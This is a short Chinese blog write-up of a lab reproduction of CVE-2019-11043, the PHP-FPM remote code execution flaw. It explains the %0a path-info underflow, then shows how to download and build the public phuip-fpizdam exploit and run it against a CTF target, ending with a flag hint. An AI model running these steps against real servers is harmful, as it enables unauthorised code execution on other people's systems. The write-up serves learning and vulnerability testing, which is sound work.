1.概述
漏洞主要由于 PHP-FPM 中 sapi/ fpm/ fpm/ fpm_main.c 文件内的 env_path_info 下溢导致,攻击者可以使用换行符 %0a 破坏 Nginx 中 fastcgi_split_path_info 对应的正则表达式,导致传递给 PHP-FPM 的 PATH_INFO 值为空,从而触发该漏洞,通过发送特制的URL请求,在一些特殊的配置情况下会导致任意代码执行
2.复现环境(因为exp需要go语言环境编译,所以老老实实配置go语言环境吧)
1)下载go语言安装包
wget https://studygolang.com/dl/golang/go1.10.3.linux-amd64.tar.gz
2)解压到指定目录/usr/local/下
root@Mke:/usr/local# tar -C /usr/local -xzf go1.10.3.linux-amd64.tar.gz
3)在/etc/profile末尾加一句话
vim /etc/profile
#####这一句,是添加go语言的环境变量,全局调用
export PATH=$PATH:/usr/local/go/bin
4)然后使得配置生效
source /etc/profile
查看一下go语言环境
完美
3.下载工具包(exp)
go get github.com/neex/phuip-fpizdam
####下载完成后会在当前目录下生成一个go目录
cd go/src/
####切换到这个目录下,编译go源码
go build github.com/neex/phuip-fpizdam
####编译完成会生成一个phuip-fpizdam文件
4.测试漏洞
注:漏洞环境懒得搭,所以用buuctf的漏洞环境作为靶场(嗯,赵师傅NB!!!)
攻击步骤嘛
./phuip-fpizdam 目标地址/index.php
访问·一下目标地址
查看一下当前权限
复现基本结束
菜鸡笔记—-2020-1-14
末尾送个彩蛋,参数a=env即可Get Flag ,/笑
关于找一找教程网
本站文章仅代表作者观点,不代表本站立场,所有文章非营利性免费分享。
本站提供了软件编程、网站开发技术、服务器运维、人工智能等等IT技术文章,希望广大程序员努力学习,让我们用科技改变世界。
[PHP-FPM 远程代码执行漏洞(CVE-2019-11043)的简单复现学习]http://www.zyiz.net/tech/detail-99279.html